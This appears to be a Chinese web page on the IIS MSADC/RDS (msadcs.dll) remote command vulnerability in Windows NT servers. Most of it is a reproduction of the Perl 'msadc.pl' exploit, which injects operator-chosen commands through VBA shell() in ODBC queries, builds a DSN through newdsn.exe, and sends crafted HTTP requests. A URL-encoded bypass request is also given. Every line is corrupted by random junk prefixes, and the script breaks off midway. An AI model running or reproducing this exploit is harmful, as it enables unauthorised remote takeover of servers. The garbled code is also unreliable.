IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
aJlSIw*Q, [$_d|Z 涉及程序:
">]v'h(s Microsoft NT server
V`$Jan J&w%lYiu5 描述:
K^bzZa+a 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
jy`jxOoG~Z F|q-ZlpW- 详细:
r-
0BLq]~{ 如果你没有时间读详细内容的话,就删除:
i|PQNhUe c:\Program Files\Common Files\System\Msadc\msadcs.dll
AK\X{>$a! 有关的安全问题就没有了。
jZu">Eh, YHN@?}T() 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
= R|?LOEK+ )=TD}Xb 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
/NCEZ@2BN, 关于利用ODBC远程漏洞的描述,请参看:
j?D=Ij"o [$)C(1zY http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [@Y<:6 v]|^.x: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
9E^IEwq' http://www.microsoft.com/security/bulletins/MS99-025faq.asp `f`\j
-Lu `An`"$z 这里不再论述。
8FyJo.vr( E\Hhi.- 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
{"l_x]q Z.+-MN WV /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ZzPlIl}\ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
9\RSJGx6 X96>N{C*> kD:O$8[J8 #将下面这段保存为txt文件,然后: "perl -x 文件名"
6r/NdI aObWd5~ #!perl
]YQ[ ) #
>=-w2& # MSADC/RDS 'usage' (aka exploit) script
vwDnz/- #
VH7VJ [ # by rain.forest.puppy
@ROMHMd} #
iLw O4i # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
wvsKnYKX # beta test and find errors!
Ub=g<MYHV kFmd):U!R use Socket; use Getopt::Std;
%7 h_D getopts("e:vd:h:XR", \%args);
<CIJg* mw)KyU#l,: print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
F2!C^r,~L !K^.r_0H. if (!defined $args{h} && !defined $args{R}) {
IBWUXG; print qq~
s 7re Usage: msadc.pl -h <host> { -d <delay> -X -v }
_2+}_ >d -h <host> = host you want to scan (ip or domain)
|r5 n p -d <seconds> = delay between calls, default 1 second
q
y73 -X = dump Index Server path table, if available
I*_@WoI* -v = verbose
^l|{*oj2 -e = external dictionary file for step 5
6KPM4#61o ;$Q`JN= Or a -R will resume a command session
bI.LE/yk K5gh7 ~; exit;}
^T`)ltI]V X[b= 25Ct $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
1 zIFQ@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
VAf"B5R if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
?}"$[6. if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
YL\d2 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
W]MKc&R if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
f.acH]p KB49~7XjQ@ if (!defined $args{R}){ $ret = &has_msadc;
OcQ>01Q die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
f<WP<!N% aP^,@RrL print "Please type the NT commandline you want to run (cmd /c assumed):\n"
i:W.,w%8 . "cmd /c ";
[2I1W1pd $in=<STDIN>; chomp $in;
Xh"JyDTj3 $command="cmd /c " . $in ;
NfizX!w& )*@n G$i99 if (defined $args{R}) {&load; exit;}
3wK{? }}y$T(:l print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>aXyi3B &try_btcustmr;
p\OUx Am h<2o5c| print "\nStep 2: Trying to make our own DSN...";
x`K<z
J &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
"&*O7cs$pA SskvxH+7 print "\nStep 3: Trying known DSNs...";
f*KNt_|: &known_dsn;
-(9>{!",J %D_2; print "\nStep 4: Trying known .mdbs...";
m UY+v>F &known_mdb;
`s93P^% ]V*s-och' if (defined $args{e}){
:U_k*9z}= print "\nStep 5: Trying dictionary of DSN names...";
3Ob"R%Yo &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
N>##}i 9}^nozR,I print "Sorry Charley...maybe next time?\n";
y}5V3)P exit;
|}s)Wo eMyh&@7(F ##############################################################################
.lnyn|MVb S]&f+g}&w sub sendraw { # ripped and modded from whisker
sy`@q<h( sleep($delay); # it's a DoS on the server! At least on mine...
$sK8l=# my ($pstr)=@_;
5v6 x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
tE3#Uq die("Socket problems\n");
^`>,~$Q if(connect(S,pack "SnA4x8",2,80,$target)){
/f_w@TR\{ select(S); $|=1;
3lzjY.]Pgv print $pstr; my @in=<S>;
CY~]lQ select(STDOUT); close(S);
xl [3*K return @in;
D/QSC]" } else { die("Can't connect...\n"); }}
>d-By ("0 7t/|| ##############################################################################
R6l`IlG` A;ip
V :) sub make_header { # make the HTTP request
ZDEz&{3U; my $msadc=<<EOT
2F9Gx;}t5= POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
~+w'b7T,= User-Agent: ACTIVEDATA
kt?G\H!} Host: $ip
y%%D=" Content-Length: $clen
{FRUB(68b Connection: Keep-Alive
)D'SfNx#{ ^o&3 +s}M ADCClientVersion:01.06
GJ"S*30 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
q6DuLFatc* &Omo\Oq&W> --!ADM!ROX!YOUR!WORLD!
V4I5PPz~ Content-Type: application/x-varg
02B *cz_K Content-Length: $reqlen
D2N| A vN#?>aL EOT
0#1hkJ" ; $msadc=~s/\n/\r\n/g;
M )4-eo return $msadc;}
Fy:CG6@X |a9d]^ ##############################################################################
QOXG:?v\ q?}
/q sub make_req { # make the RDS request
y4sKe:@2 my ($switch, $p1, $p2)=@_;
'}#=I 9=ss my $req=""; my $t1, $t2, $query, $dsn;
UrtA]pc3L \fC)]QZ if ($switch==1){ # this is the btcustmr.mdb query
ptJ58U$Bb
$query="Select * from Customers where City=" . make_shell();
sa 8JN.B $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+tO mKY $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
j9Qd
45 `pr$l elsif ($switch==2){ # this is general make table query
7#/->Y $query="create table AZZ (B int, C varchar(10))";
a#3+PB# $dsn="$p1";}
#r5IwyL (gW#T\Eln elsif ($switch==3){ # this is general exploit table query
wW2b?b{*Z $query="select * from AZZ where C=" . make_shell();
"&h{+DHS $dsn="$p1";}
co!o+jP s<3cvF< elsif ($switch==4){ # attempt to hork file info from index server
Hq<Sg4nz $query="select path from scope()";
SURbH;[ $dsn="Provider=MSIDXS;";}
9*s''= dH]0(aJ elsif ($switch==5){ # bad query
Z;M}.'BE $query="select";
FuqMT` $dsn="$p1";}
{qxFRi#\k WX.6| $t1= make_unicode($query);
>]b>gc?3 $t2= make_unicode($dsn);
sVXIR $req = "\x02\x00\x03\x00";
9*fA:*T $req.= "\x08\x00" . pack ("S1", length($t1));
q!UN<+k\h $req.= "\x00\x00" . $t1 ;
0,a/t
jSr $req.= "\x08\x00" . pack ("S1", length($t2));
25EuVj`zL $req.= "\x00\x00" . $t2 ;
W5 l)mAv $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
}
@r|o:I return $req;}
nV`n=x DX3xWdnr ##############################################################################
Xn:5pd;?B6 Q\H1=8 sub make_shell { # this makes the shell() statement
'7BJ. return "'|shell(\"$command\")|'";}
/hrVnki* *[XVkt`H ##############################################################################
_#f+@)vR `)i'1E[9 sub make_unicode { # quick little function to convert to unicode
cf\PG&S my ($in)=@_; my $out;
Ltk'` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{B;<R1 return $out;}
tj ONN(K` 3K)12x$.K ##############################################################################
(29h{=P' qH1k sub rdo_success { # checks for RDO return success (this is kludge)
a4a/]q4T my (@in) = @_; my $base=content_start(@in);
<]:X if($in[$base]=~/multipart\/mixed/){
%w9/gD return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Z"ce1cB return 0;}
k[_)5@2 vI84=n ##############################################################################
W~" 'a9H/ gteG*p i sub make_dsn { # this makes a DSN for us
ajr);xd my @drives=("c","d","e","f");
_ ^ JhncL print "\nMaking DSN: ";
!V%h0OE\ foreach $drive (@drives) {
whH_<@! print "$drive: ";
wl^7.IR my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
m!'moumL; "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
.~3s~y*s . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
[nSlkl
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
mZ%"""X\Ei return 0 if $2 eq "404"; # not found/doesn't exist
f{i~hVF if($2 eq "200") {
2Ra}&ie foreach $line (@results) {
R=7,F6. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
nky%Eb[\ } return 0;}
Re[x$rw So6ZNh9 ##############################################################################
b\Wlpb=QZ j<* sub verify_exists {
;FQ<4PR$ my ($page)=@_;
k4HE'WY my @results=sendraw("GET $page HTTP/1.0\n\n");
MC'2;, return $results[0];}
ejFGeR NE~R&ym9 ##############################################################################
E \p Qh Xl/SDm_p sub try_btcustmr {
rofGD9f
my @drives=("c","d","e","f");
$Gy& my @dirs=("winnt","winnt35","winnt351","win","windows");
kzkrvC+u lwVo%- foreach $dir (@dirs) {
U{`Q_Uw@$: print "$dir -> "; # fun status so you can see progress
7%MD0qm- foreach $drive (@drives) {
e7O9q8b print "$drive: "; # ditto
uT
Z#85L` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_VjfjA<c8 $reqlenlen=length( "$reqlen" );
]J '#KT{ $clen= 206 + $reqlenlen + $reqlen;
T'W@fif W5)R{w0`GD my @results=sendraw(make_header() . make_req(1,$drive,$dir));
r
9~Wh
$ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
o[A y2"e? else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{M_*hR;lL s^&Oh*SP* ##############################################################################
=/#+, _N @h sub odbc_error {
;q"Yz-3 my (@in)=@_; my $base;
~[N"Q|D3Y my $base = content_start(@in);
)qID<j# if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$>M-oNeC $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
hx.ln6=4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`GpOS_; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
On`T
pz/ return $in[$base+4].$in[$base+5].$in[$base+6];}
1(YEOZ
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
hvFXYq_[O print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
?'8(']/ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
JmP[ 9" 7u=R5 ##############################################################################
fO UW{s &^7^7:Y=? sub verbose {
Yk^clCB{A( my ($in)=@_;
prdc}~J8{ return if !$verbose;
RV_(T+ print STDOUT "\n$in\n";}
%U
uVD _\ &